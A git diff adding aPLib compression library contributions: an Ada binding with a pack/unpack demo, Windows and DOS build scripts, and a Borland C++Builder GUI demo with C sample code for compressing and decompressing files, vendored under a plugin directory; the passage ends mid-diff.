http://ftpsearch.lycos.com/cgi-bin/search?form=normal&query=gnat + +Support: http://www.gnat.com/ + +There is a nice IDE for Windows, AdaGIDE @ + http://www.usafa.af.mil/dfcs/bios/mcc_html/adagide.html + +* The DOS version of GNAT is in a distribution named EZ2LOAD. +It is unofficial and unsupported! Technically, there is "DJGPP inside". + +Main: + ftp://ftp.gwu.edu/pub/ada/ez2load/ +Search: + http://ftpsearch.lycos.com/cgi-bin/search?form=normal&query=ez2load + +Current DOS version is GNAT 3.10p, using DJGPP 2.01 as back-end. +A GNAT 3.13p, using DJGPP 2.02, is currently being tested. + +* There is also a commercial compiler for Windows, ObjectAda + + http://www.aonix.com/content/products/objectada/objectada.html + + with a _free_ version (number of lines/modules limited) that contains +all tools, however: the Microsoft tools, an IDE in Visual *** style, +command line tools also. + +* If you really need to buy one, there is a cool one (not too +expensive), see http://www.rrsoftware.com/ . + +Questions about the Ada port +---------------------------- + +Send them to following e-mail: gdemont@hotmail.com + +Other compression folies in Ada: + - the historic LHARC as simple taskable & streamable template + http://www.mysunrise.ch/users/gdm/gsoft.htm + - an Unzipper, from Info-Zip + http://www.mysunrise.ch/users/gdm/unzipada.htm + +Enjoy - Gautier + diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/apacdemo.adb b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/apacdemo.adb new file mode 100644 index 0000000..7935d7d --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/apacdemo.adb @@ -0,0 +1,165 @@ +------------------------------------------------------------------------------ +-- File: apackdemo.adb +-- Description: aPLib binding demo (Q&D!) +-- Date/version: 24-Feb-2001 ; ... ; 9.III.1999 +-- Author: Gautier de Montmollin - gdemont@hotmail.com +------------------------------------------------------------------------------ + +with APLib; +with Ada.Calendar; use Ada.Calendar; +with Ada.Command_Line; use Ada.Command_Line; +with Ada.Text_IO; use Ada.Text_IO; +with Ada.Integer_Text_IO; use Ada.Integer_Text_IO; +with Ada.Float_Text_IO; use Ada.Float_Text_IO; +with Ada.Direct_IO; + +procedure APacDemo is + type byte is mod 2 ** 8; for byte'size use 8; -- could be any basic data + + type t_data_array is array(integer range <>) of byte; + type p_data_array is access t_data_array; + + -- NB: File management is simpler with Ada95 Stream_IO - it's to test... + + package DBIO is new Ada.Direct_IO(byte); use DBIO; + subtype file_of_byte is DBIO.File_type; + + procedure Read_file(n: String; d: out p_data_array) is + f : file_of_byte; b: byte; + begin + d:= null; + Open(f, in_file, n); + d:= New t_data_array(1..integer(size(f))); + for i in d'range loop Read(f,b); d(i):= b; end loop; + Close(f); + exception + when DBIO.Name_Error => Put_Line("File " & n & " not found !"); + end; + + procedure Write_file(n: String; d: t_data_array) is + f : file_of_byte; + begin + Create(f, out_file, n); + for i in d'range loop Write(f,d(i)); end loop; + Close(f); + end; + + procedure Test_pack_unpack(name: string; id: natural) is + ext1: constant string:= integer'image(id+1000); + ext: constant string:= ext1(ext1'last-2..ext1'last); -- 000 001 002 etc. + name_p: constant string:= "packed." & ext; + name_pu: constant string:= "pack_unp." & ext; + + frog, frog2, frog3: p_data_array; + pl, ul, plmax: integer; -- packed / unpacked sizes in _bytes_ + + pack_occur: natural:= 0; + + T0, T1, T2, T3: Time; + + procedure Packometer(u,p: integer; continue: out boolean) is + li: constant:= 50; + pli: constant integer:= (p*li)/ul; + uli: constant integer:= (u*li)/ul; + fancy_1: constant string:=" .oO"; + fancy_2: constant string:="|/-\"; + fancy: string renames fancy_2; -- choose one... + begin + Put(" ["); + for i in 0..pli-1 loop put('='); end loop; + put(fancy(fancy'first+pack_occur mod fancy'length)); + pack_occur:= pack_occur + 1; + for i in pli+1..uli loop put('.'); end loop; + for i in uli+1..li loop put(' '); end loop; + Put("] " & integer'image((100*p)/u)); Put("% " & ASCII.CR); + continue:= true; + end Packometer; + + procedure Pack(u: t_data_array; p: out t_data_array; pl: out integer) is + subtype tp is t_data_array(p'range); + subtype tu is t_data_array(u'range); + procedure Pa is new APLib.Pack(tp, tu, Packometer); + + begin + Pa(u,p,pl); + end Pack; + + procedure Depack(p: t_data_array; u: out t_data_array) is + subtype tp is t_data_array(p'range); + subtype tu is t_data_array(u'range); + procedure De is new APLib.Depack(tp, tu); + + begin + De(p,u); + end Depack; + + bytes_per_element: constant integer:= byte'size/8; + + begin + New_Line; + + Read_file(name, frog); + + if frog /= null then + ul:= frog.all'size / 8; -- frog.all is the array; ul= size in bytes + plmax:= aPLib.Evaluate_max_packed_space(ul); + frog2:= New t_data_array( 1 .. plmax / bytes_per_element ); + + Put_Line("File name: " & name); + New_Line; + + T0:= Clock; + Pack(frog.all, frog2.all, pl); + T1:= Clock; + + New_Line; + New_Line; + Put("Unpacked size : "); Put(ul); New_Line; + Put("Res. for packing : "); Put(plmax); New_Line; + Put("Packed size : "); Put(pl); New_Line; + Put("Work memory size : "); Put(aPLib.aP_workmem_size(ul)); New_Line; + Put("Compression ratio: "); Put((100*pl)/ul,0); Put_Line("%"); + Put_Line("Packed file name : " & name_p); + Put_Line("Re-depacked file name : " & name_pu); + New_Line; + + Put_Line("Real time for compression : " & Duration'Image(T1-T0)); + Write_file(name_p, frog2(1..pl)); + + frog3:= New t_data_array(frog'range); + T2:= Clock; + Depack( frog2(1..pl), frog3.all ); + T3:= Clock; + Put("Real time for decompression: " & Duration'Image(T3-T2) & + " - time ratio :" ); + Put(Float(T3-T2) / Float(T1-T0),2,4,0); + New_Line; + + Write_file(name_pu, frog3.all); + + Put_Line("Are unpacked and original files identical ? " & + Boolean'image( frog.all = frog3.all )); + end if; + + end Test_pack_unpack; + +begin + Put_Line("APack_Demo"); + New_Line; + Put_Line("Command: apacdemo file1 file2 file3 ..."); + Put_Line("In a GUI drop the file(s) on the apacdemo application"); + New_Line; + Put_Line("When no file is specified, 'apacdemo.exe' is used"); + Put_Line("The data are packed, unpacked and compared with originals."); + + if Argument_count=0 then + Test_pack_unpack( "apacdemo.exe",0 ); + else + for i in 1..Argument_count loop + Test_pack_unpack( Argument(i),i ); + end loop; + end if; + + New_Line; + Put("Finished - press return please"); Skip_Line; +end APacDemo; diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/aplib.adb b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/aplib.adb new file mode 100644 index 0000000..ff433c7 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/aplib.adb @@ -0,0 +1,74 @@ +----------------------------------------------------------------------------- +-- File: aplib.adb; see specification (aplib.ads) +----------------------------------------------------------------------------- +with System, Ada.Unchecked_Deallocation; + +-- with Ada.Text_IO; use Ada.Text_IO; -- OA debug + +package body aPLib is + + procedure Pack( source : in unpacked_data; + destination : out packed_data; + packed_length: out integer ) is + + type byte is mod 2 ** 8; for byte'size use 8; + type twa is array( 0..aP_workmem_size(source'size / 8) ) of byte; + pragma pack(twa); + + type pwa is access twa; + procedure Dispose is new Ada.Unchecked_Deallocation( twa, pwa ); + + type p_cb is access function (unpacked, packed: integer) return integer; + + function aP_pack(source: unpacked_data; + destination_addr: System.Address; -- trick for "in" par. + length: integer; + work_mem: twa; + cb: p_cb) + return integer; + + pragma Import(C, aP_pack, "aP_pack"); + + function cb(unpacked, packed: integer) return integer is + cont: boolean; + begin + Call_back(unpacked, packed, cont); + return Boolean'Pos(cont); -- 0 false, 1 true + end cb; + + p_to_cb: p_cb:= cb'access; + tmp_work_mem: pwa:= New twa; + begin +-- Put_Line("OA3 "); +-- packed_length:= +-- aP_pack( source'Address, destination'Address, +-- source'size / 8, tmp_work_mem.all'Address, cb'Address ); +-- Put_Line("OA4 "); + + packed_length:= + aP_pack( source, destination'Address, + source'size / 8, tmp_work_mem.all, p_to_cb ); + + Dispose( tmp_work_mem ); -- we immediately free the work memory + + if packed_length=0 then -- 0 means error + raise Pack_failed; + end if; + end Pack; + + procedure Depack( source : in packed_data; + destination: out unpacked_data ) is + + function aP_depack_asm_fast( + source: packed_data; + destination_addr: System.Address -- trick for "in" par. + ) return integer; + pragma Import(C, aP_depack_asm_fast, "aP_depack_asm_fast"); + + begin + if aP_depack_asm_fast( source, destination'Address )=0 then + raise Unpack_failed; + end if; + end Depack; + +end aPLib; diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/aplib.ads b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/aplib.ads new file mode 100644 index 0000000..fa7eaaf --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/aplib.ads @@ -0,0 +1,55 @@ +-- +-- aPLib compression library - the smaller the better :) +-- +-- Ada binding for aplib.a +-- +-- Copyright (c) 1998-2009 by Joergen Ibsen / Jibz +-- All Rights Reserved +-- +-- http://www.ibsensoftware.com/ +-- +-- Ada binding by Gautier de Montmollin - gdemont@hotmail.com, gdm@mydiax.ch +-- + + +package aPLib is + + -- Give the maximum "packed" size possible - it can be more than + -- the unpacked size in case of uncompressible data: + + function Evaluate_max_packed_space( unpacked_size: Integer ) return Integer; + pragma Import(C, Evaluate_max_packed_space, "aP_max_packed_size"); + -- Was, before v0.34 b4: (((unpacked_size * 9) / 8) + 16) + + + -- A template for packing data: + + generic + type packed_data is private; + type unpacked_data is private; + with procedure Call_back( unpacked_bytes, packed_bytes: in integer; + continue : out boolean ); + + procedure Pack( source : in unpacked_data; + destination : out packed_data; + packed_length: out integer ); + + -- A template for unpacking data: + + generic + type packed_data is private; + type unpacked_data is private; + + procedure Depack( source : in packed_data; + destination: out unpacked_data ); + + -- Exceptions for errors that could occur: + + pack_failed, unpack_failed: exception; + + -- Just for information + + function aP_workmem_size(inputsize: integer) return integer; + pragma Import(C, aP_workmem_size, "aP_workmem_size"); + +end aPLib; diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/gnat.ago b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/gnat.ago new file mode 100644 index 0000000..11c3097 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/gnat.ago @@ -0,0 +1,5 @@ +-O2 -gnatp +-i -aOACU_Win -largs ..\..\lib\coff\aplib.lib + + +WINDOWS_TARGET diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/mk_aonix.bat b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/mk_aonix.bat new file mode 100644 index 0000000..12f0370 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/mk_aonix.bat @@ -0,0 +1,19 @@ +@ECHO OFF +ECHO --- Building aPLib Ada example for Aonix ObjectAda for Windows --- +ECHO. + +SET OAPATH=C:\Program Files\Aonix\ObjectAda\bin\ + +if not exist "%OAPATH%adareg.exe" echo Wrong path [%OAPATH%] - change mk_aonix.bat! + +if exist unit.map goto build + +"%OAPATH%adareg" *.ad? +ECHO. + +:build + +"%OAPATH%adabuild" apacdemo -ll ..\..\lib\coff\aplib.lib +ECHO. + +ECHO Warning: this version doesn't work yet! :-( diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/mk_gndos.bat b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/mk_gndos.bat new file mode 100644 index 0000000..ce2715e --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/mk_gndos.bat @@ -0,0 +1,7 @@ +@ECHO OFF +ECHO --- Building aPLib Ada example for GNAT/DOS (ez2load) --- +ECHO. + +gnatmake -g -i %1 -O2 -gnatp -aOACU_DOS apacdemo -largs ..\..\lib\coff\aplib.a + +if exist b_*.* del b_*.* diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/mk_gnwin.bat b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/mk_gnwin.bat new file mode 100644 index 0000000..03987fe --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/mk_gnwin.bat @@ -0,0 +1,7 @@ +@ECHO OFF +ECHO --- Building aPLib Ada example for GNAT/Windows --- +ECHO. + +gnatmake -g -i %1 -O2 -gnatp -aOACU_Win apacdemo -largs ..\..\lib\coff\aplib.lib + +if exist b~*.* del b~*.* diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.cpp b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.cpp new file mode 100644 index 0000000..cc9884e --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.cpp @@ -0,0 +1,169 @@ +//--------------------------------------------------------------------------- +// MainFormUnit.cpp +// bcb shell coded by mouser (9/18/04) using existing samples for delphi+c +//--------------------------------------------------------------------------- + +//--------------------------------------------------------------------------- +// System includes and C++ Builder Stuff +#include +#pragma hdrstop +//--------------------------------------------------------------------------- + + +//--------------------------------------------------------------------------- +// System includes +//#include +#include +//--------------------------------------------------------------------------- + +//--------------------------------------------------------------------------- +// Application includes +#include "MainFormUnit.h" + +#include "apacksamplec.h" +#include "aplib.h" +//--------------------------------------------------------------------------- + +//--------------------------------------------------------------------------- +// C++ Builder stuff +#pragma package(smart_init) +#pragma resource "*.dfm" +//--------------------------------------------------------------------------- + + +//--------------------------------------------------------------------------- +// Global Form Instance Pointer +TMainForm *MainForm; +//--------------------------------------------------------------------------- + + + +//--------------------------------------------------------------------------- +// Compression callback sample +int STDPREFIX mainformcallback(unsigned int insize, unsigned int inpos, unsigned int outpos, void *cbparam) +{ + char resultstr[255]; + unsigned int ratioval=ratio(inpos, insize); + sprintf(resultstr,"compressed %u -> %u bytes (%u%% done)", inpos, outpos, ratioval); + MainForm->LabelResult->Caption=AnsiString(resultstr); + MainForm->ProgressBar->Position=ratioval; + // let gui update + Application->ProcessMessages(); + // return + if (MainForm->get_wantscancel()) + return 0; + return 1; +} + +// result callback +void STDPREFIX mainformresultcallback(char *resultstr, int errorcode) +{ + MainForm->LabelResult->Caption=AnsiString(resultstr); + if (errorcode==0) + MainForm->LabelResult->Font->Color=clBlack; + else + MainForm->LabelResult->Font->Color=clMaroon; +} +//--------------------------------------------------------------------------- + + + + + + + + +//--------------------------------------------------------------------------- +__fastcall TMainForm::TMainForm(TComponent* Owner) + : TForm(Owner) +{ + // constructor + Initialize(); +} +//--------------------------------------------------------------------------- + + + + + +//--------------------------------------------------------------------------- +void TMainForm::Initialize() +{ + // initialize the library + SetStateNotRunning(); +} + +void TMainForm::SetStateRunning() +{ + // change visible state to running + ButtonCancel->Enabled=true; +} + +void TMainForm::SetStateNotRunning() +{ + // change visible state to not running + ButtonCancel->Enabled=false; + wantscancel=false; + ProgressBar->Position=0; +} +//--------------------------------------------------------------------------- + + + + + + + +//--------------------------------------------------------------------------- +void __fastcall TMainForm::ButtonCompressClick(TObject *Sender) +{ + // ask for file and compress it + bool bretv; + int retv; + OpenDialog->Title="Browse for file to Compress.."; + bretv=OpenDialog->Execute(); + if (bretv) + { + // compress it + AnsiString filename=OpenDialog->FileName; + AnsiString newfilename=filename+".out"; + SetStateRunning(); + retv=compress_file(filename.c_str(),newfilename.c_str(),mainformcallback,mainformresultcallback); + SetStateNotRunning(); + } +} + + +void __fastcall TMainForm::ButtonDecompressClick(TObject *Sender) +{ + // ask for file and decompress it + bool bretv; + int retv; + OpenDialog->Title="Browse for file to Decompress.."; + bretv=OpenDialog->Execute(); + if (bretv) + { + // decompress it + AnsiString filename=OpenDialog->FileName; + AnsiString newfilename=filename+".out"; + SetStateRunning(); + retv=decompress_file(filename.c_str(),newfilename.c_str(),mainformcallback,mainformresultcallback); + SetStateNotRunning(); + } +} +//--------------------------------------------------------------------------- + + + + +//--------------------------------------------------------------------------- +void __fastcall TMainForm::ButtonCancelClick(TObject *Sender) +{ + // user wants to cancel + wantscancel=true; +} +//--------------------------------------------------------------------------- + + + + diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.ddp b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.ddp new file mode 100644 index 0000000..cdc0ee8 Binary files /dev/null and b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.ddp differ diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.dfm b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.dfm new file mode 100644 index 0000000..cda5560 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.dfm @@ -0,0 +1,139 @@ +object MainForm: TMainForm + Left = 282 + Top = 145 + Width = 385 + Height = 212 + Caption = 'aPLib - Borland C++Builder Demo' + Color = clBtnFace + Constraints.MinHeight = 212 + Constraints.MinWidth = 385 + Font.Charset = DEFAULT_CHARSET + Font.Color = clWindowText + Font.Height = -11 + Font.Name = 'MS Sans Serif' + Font.Style = [] + OldCreateOrder = False + PixelsPerInch = 96 + TextHeight = 13 + object Panel1: TPanel + Left = 0 + Top = 0 + Width = 377 + Height = 185 + Align = alClient + BevelOuter = bvLowered + TabOrder = 0 + DesignSize = ( + 377 + 185) + object LabelaPLib2: TLabel + Left = 207 + Top = 8 + Width = 97 + Height = 38 + Anchors = [akTop, akRight] + Caption = 'aPLib' + Font.Charset = ANSI_CHARSET + Font.Color = clGray + Font.Height = -32 + Font.Name = 'Verdana' + Font.Style = [fsBold] + ParentFont = False + Transparent = True + end + object LabelaPLib1: TLabel + Left = 203 + Top = 4 + Width = 97 + Height = 38 + Anchors = [akTop, akRight] + Caption = 'aPLib' + Font.Charset = ANSI_CHARSET + Font.Color = clWindowText + Font.Height = -32 + Font.Name = 'Verdana' + Font.Style = [fsBold] + ParentFont = False + Transparent = True + end + object Label5: TLabel + Left = 223 + Top = 48 + Width = 98 + Height = 13 + Anchors = [akTop, akRight] + Caption = 'the smaller the better' + end + object GroupBox1: TGroupBox + Left = 8 + Top = 80 + Width = 362 + Height = 65 + Anchors = [akLeft, akRight, akBottom] + Caption = ' Progress ' + TabOrder = 0 + DesignSize = ( + 362 + 65) + object LabelResult: TLabel + Left = 16 + Top = 40 + Width = 330 + Height = 13 + Alignment = taCenter + Anchors = [akLeft, akTop, akRight] + AutoSize = False + Font.Charset = DEFAULT_CHARSET + Font.Color = clMaroon + Font.Height = -11 + Font.Name = 'MS Sans Serif' + Font.Style = [] + ParentFont = False + end + object ProgressBar: TProgressBar + Left = 15 + Top = 25 + Width = 331 + Height = 9 + Anchors = [akLeft, akTop, akRight] + Min = 0 + Max = 100 + TabOrder = 0 + end + end + object ButtonCancel: TButton + Left = 295 + Top = 153 + Width = 75 + Height = 25 + Anchors = [akRight, akBottom] + Caption = 'Cancel' + Enabled = False + TabOrder = 1 + OnClick = ButtonCancelClick + end + object ButtonCompress: TButton + Left = 16 + Top = 16 + Width = 75 + Height = 25 + Caption = 'Compress' + TabOrder = 2 + OnClick = ButtonCompressClick + end + object ButtonDecompress: TButton + Left = 16 + Top = 48 + Width = 75 + Height = 25 + Caption = 'Decompress' + TabOrder = 3 + OnClick = ButtonDecompressClick + end + end + object OpenDialog: TOpenDialog + Filter = 'Any File (*.*)|*.*' + Left = 112 + Top = 24 + end +end diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.h b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.h new file mode 100644 index 0000000..34f8680 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/MainFormUnit.h @@ -0,0 +1,73 @@ +//--------------------------------------------------------------------------- +// MainFormUnit.cpp +//--------------------------------------------------------------------------- + +//--------------------------------------------------------------------------- +// Header Guard +#ifndef MainFormUnitH +#define MainFormUnitH +//--------------------------------------------------------------------------- + +//--------------------------------------------------------------------------- +// Application Includes +#include +#include +#include +#include +#include +#include +#include +//--------------------------------------------------------------------------- + + +//--------------------------------------------------------------------------- +class TMainForm : public TForm +{ +private: + bool wantscancel; +__published: + // IDE-managed Components + TPanel *Panel1; + TLabel *LabelaPLib2; + TLabel *LabelaPLib1; + TLabel *Label5; + TGroupBox *GroupBox1; + TLabel *LabelResult; + TProgressBar *ProgressBar; + TButton *ButtonCancel; + TButton *ButtonCompress; + TButton *ButtonDecompress; + TOpenDialog *OpenDialog; + void __fastcall ButtonCompressClick(TObject *Sender); + void __fastcall ButtonDecompressClick(TObject *Sender); + void __fastcall ButtonCancelClick(TObject *Sender); +public: + // constructor + __fastcall TMainForm(TComponent* Owner); +public: + void Initialize(); + void SetStateRunning(); + void SetStateNotRunning(); +public: + bool get_wantscancel() {return wantscancel;}; +}; +//--------------------------------------------------------------------------- + + + + + + +//--------------------------------------------------------------------------- +// C++ Builder Global Instance Pointer +extern PACKAGE TMainForm *MainForm; +//--------------------------------------------------------------------------- + + + + + +//--------------------------------------------------------------------------- +// End of Header Guard +#endif +//--------------------------------------------------------------------------- diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/README_ABOUT_APLIB_DLL.txt b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/README_ABOUT_APLIB_DLL.txt new file mode 100644 index 0000000..3c7c36f --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/README_ABOUT_APLIB_DLL.txt @@ -0,0 +1,3 @@ +If you want to use the aplib.dll with your bcb project, link with the aplib.lib file here in the LibForDll directory. +If you don't want to use the dll, then just link with the static aplib.lib in the ..\..\lib\omf directory. +The sample project uses the static lib in ..\..\lib\omf \ No newline at end of file diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/apacksamplec.cpp b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/apacksamplec.cpp new file mode 100644 index 0000000..f7a9abb --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/apacksamplec.cpp @@ -0,0 +1,320 @@ +//--------------------------------------------------------------------------- +// apacksamplec.c +// Code from c/apack.c +//--------------------------------------------------------------------------- + +//--------------------------------------------------------------------------- +/* + * aPLib compression library - the smaller the better :) + * + * C example + * + * Copyright (c) 1998-2009 by Joergen Ibsen / Jibz + * All Rights Reserved + * + * http://www.ibsensoftware.com/ + */ +//--------------------------------------------------------------------------- + + +//--------------------------------------------------------------------------- +#include +#include +#include +#include +#include + +#include "apacksamplec.h" + +#include "aplib.h" +//--------------------------------------------------------------------------- + + + + + + +//--------------------------------------------------------------------------- +/* + * Unsigned char type. + */ +typedef unsigned char byte; +//--------------------------------------------------------------------------- + + +//--------------------------------------------------------------------------- +/* + * Compute ratio between two numbers. + */ +unsigned int ratio(unsigned int x, unsigned int y) +{ + if (x <= UINT_MAX / 100) x *= 100; else y /= 100; + + if (y == 0) y = 1; + + return x / y; +} +//--------------------------------------------------------------------------- + + + + + +//--------------------------------------------------------------------------- +// Compression callback sample +int STDPREFIX samplecallback(unsigned int insize, unsigned int inpos, unsigned int outpos, void *cbparam) +{ + printf("\rcompressed %u -> %u bytes (%u%% done)", inpos, outpos, ratio(inpos, insize)); + return 1; +} + +// result callback +void STDPREFIX sampleresultcallback(char *resultstr, int errorcode) +{ + printf("%s\n", resultstr); +} +//--------------------------------------------------------------------------- + + + + + +//--------------------------------------------------------------------------- +/* + * Compress a file. + */ +int compress_file(const char *oldname, const char *packedname,callbackfuncdef *callbackfp,resultcallbackfundef *resultcallbackfp) +{ + FILE *oldfile; + FILE *packedfile; + size_t insize = 0; + size_t outsize = 0; + clock_t clocks; + byte *data, *packed, *workmem; + + /* open input file */ + if ((oldfile = fopen(oldname, "rb")) == NULL) + { + resultcallbackfp("ERR: unable to open input file",1); + return 1; + } + + /* get size of input file */ + fseek(oldfile, 0, SEEK_END); + insize = (size_t) ftell(oldfile); + fseek(oldfile, 0, SEEK_SET); + + /* allocate memory */ + if ((data = (byte *) malloc(insize)) == NULL || + (packed = (byte *) malloc(aP_max_packed_size(insize))) == NULL || + (workmem = (byte *) malloc(aP_workmem_size(insize))) == NULL) + { + resultcallbackfp("ERR: not enough memory",1); + return 1; + } + + if (fread(data, 1, insize, oldfile) != insize) + { + resultcallbackfp("ERR: error reading from input file",1); + return 1; + } + + clocks = clock(); + + /* compress data block */ + outsize = aPsafe_pack(data, packed, insize, workmem, callbackfp, NULL); + + clocks = clock() - clocks; + + /* check for compression error */ + if (outsize == APLIB_ERROR) + { + resultcallbackfp("ERR: an error occured while compressing",1); + return 1; + } + + /* create output file */ + if ((packedfile = fopen(packedname, "wb")) == NULL) + { + resultcallbackfp("ERR: unable to create output file",1); + return 1; + } + + fwrite(packed, 1, outsize, packedfile); + + /* show result */ + char resultstr[255]; + sprintf(resultstr,"compressed %u -> %u bytes (%u%%) in %.2f seconds", + insize, outsize, ratio(outsize, insize), + (double)clocks / (double)CLOCKS_PER_SEC); + resultcallbackfp(resultstr,0); + + /* close files */ + fclose(packedfile); + fclose(oldfile); + + /* free memory */ + free(workmem); + free(packed); + free(data); + + return 0; +} + +/* + * Decompress a file. + */ +int decompress_file(const char *packedname, const char *newname,callbackfuncdef *callbackfp,resultcallbackfundef *resultcallbackfp) +{ + FILE *newfile; + FILE *packedfile; + size_t insize = 0; + size_t outsize = 0; + clock_t clocks; + byte *data, *packed; + size_t depackedsize; + + /* open input file */ + if ((packedfile = fopen(packedname, "rb")) == NULL) + { + resultcallbackfp("ERR: unable to open input file",1); + return 1; + } + + /* get size of input file */ + fseek(packedfile, 0, SEEK_END); + insize = (size_t) ftell(packedfile); + fseek(packedfile, 0, SEEK_SET); + + /* allocate memory */ + if ((packed = (byte *) malloc(insize)) == NULL) + { + resultcallbackfp("ERR: not enough memory",1); + return 1; + } + + if (fread(packed, 1, insize, packedfile) != insize) + { + resultcallbackfp("ERR: error reading from input file",1); + return 1; + } + + depackedsize = aPsafe_get_orig_size(packed); + + if (depackedsize == APLIB_ERROR) + { + resultcallbackfp("ERR: compressed data error",1); + return 1; + } + + /* allocate memory */ + if ((data = (byte *) malloc(depackedsize)) == NULL) + { + resultcallbackfp("ERR: not enough memory",1); + return 1; + } + + clocks = clock(); + + /* decompress data */ + outsize = aPsafe_depack(packed, insize, data, depackedsize); + + clocks = clock() - clocks; + + /* check for decompression error */ + if (outsize != depackedsize) + { + resultcallbackfp("ERR: an error occured while decompressing",1); + return 1; + } + + /* create output file */ + if ((newfile = fopen(newname, "wb")) == NULL) + { + resultcallbackfp("ERR: unable to create output file",1); + return 1; + } + + /* write decompressed data */ + fwrite(data, 1, outsize, newfile); + + /* show result */ + char resultstr[255]; + sprintf(resultstr,"decompressed %u -> %u bytes in %.2f seconds", + insize, outsize, + (double)clocks / (double)CLOCKS_PER_SEC); + resultcallbackfp(resultstr,0); + + /* close files */ + fclose(packedfile); + fclose(newfile); + + /* free memory */ + free(packed); + free(data); + + return 0; +} + + +/* + * Show program syntax. + */ +void show_syntax(void) +{ + printf("syntax:\n\n" + " compress : appack c \n" + " decompress : appack d \n\n"); +} +//--------------------------------------------------------------------------- + + + + +//--------------------------------------------------------------------------- +/* + * Main. + */ +int samplemain(int argc, char *argv[]) +{ + /* show banner */ + printf("===============================================================================\n" + "aPLib example Copyright (c) 1998-2009 by Joergen Ibsen / Jibz\n" + " All Rights Reserved\n\n" + " http://www.ibsensoftware.com/\n" + "===============================================================================\n\n"); + + /* check number of arguments */ + if (argc != 4) + { + show_syntax(); + return 1; + } + +#ifdef __WATCOMC__ + /* OpenWatcom 1.2 line buffers stdout, so we unbuffer stdout manually + to make the progress indication in the callback work. + */ + setbuf(stdout, NULL); +#endif + + /* check first character of first argument to determine action */ + if (argv[1][0] && argv[1][1] == '\0') + { + switch (argv[1][0]) + { + /* compress file */ + case 'c': + case 'C': return compress_file(argv[2], argv[3],samplecallback,sampleresultcallback); + + /* decompress file */ + case 'd': + case 'D': return decompress_file(argv[2], argv[3],samplecallback,sampleresultcallback); + } + } + + /* show program syntax */ + show_syntax(); + return 1; +} +//--------------------------------------------------------------------------- diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/apacksamplec.h b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/apacksamplec.h new file mode 100644 index 0000000..6308cfc --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/apacksamplec.h @@ -0,0 +1,44 @@ +//--------------------------------------------------------------------------- +// apackcsample.c +//--------------------------------------------------------------------------- + +//--------------------------------------------------------------------------- +// Header Guard +#ifndef aspacksamplecH +#define aspacksamplecH +//--------------------------------------------------------------------------- + + +//--------------------------------------------------------------------------- +// Calling Convenction (depends on library) +// This version works with watcom version of the lib +//#define STDPREFIX __stdcall +#define STDPREFIX __cdecl +//--------------------------------------------------------------------------- + + +//--------------------------------------------------------------------------- +// Forward declarations +// +typedef STDPREFIX int (callbackfuncdef)(unsigned int insize, unsigned int inpos, unsigned int outpos, void *cbparam); +typedef STDPREFIX void (resultcallbackfundef)(char *errorstring,int errorcode); +// +int STDPREFIX samplecallback(unsigned int insize, unsigned int inpos, unsigned int outpos, void *cbparam); +void STDPREFIX sampleresultcallback(char *errorstr); +// +unsigned int ratio(unsigned int x, unsigned int y); +int compress_file(const char *oldname, const char *packedname,callbackfuncdef *callbackfp,resultcallbackfundef *resultcallbackfp); +int decompress_file(const char *packedname, const char *newname,callbackfuncdef *callbackfp,resultcallbackfundef *resultcallbackfp); +int samplemain(int argc, char *argv[]); +void show_syntax(void); +//--------------------------------------------------------------------------- + + + + + + +//--------------------------------------------------------------------------- +// Header Guard +#endif +//--------------------------------------------------------------------------- \ No newline at end of file diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/aptest.bpr b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/bcb/aptest.bpr new file mode 100644 index 0000000..7a95eae --- 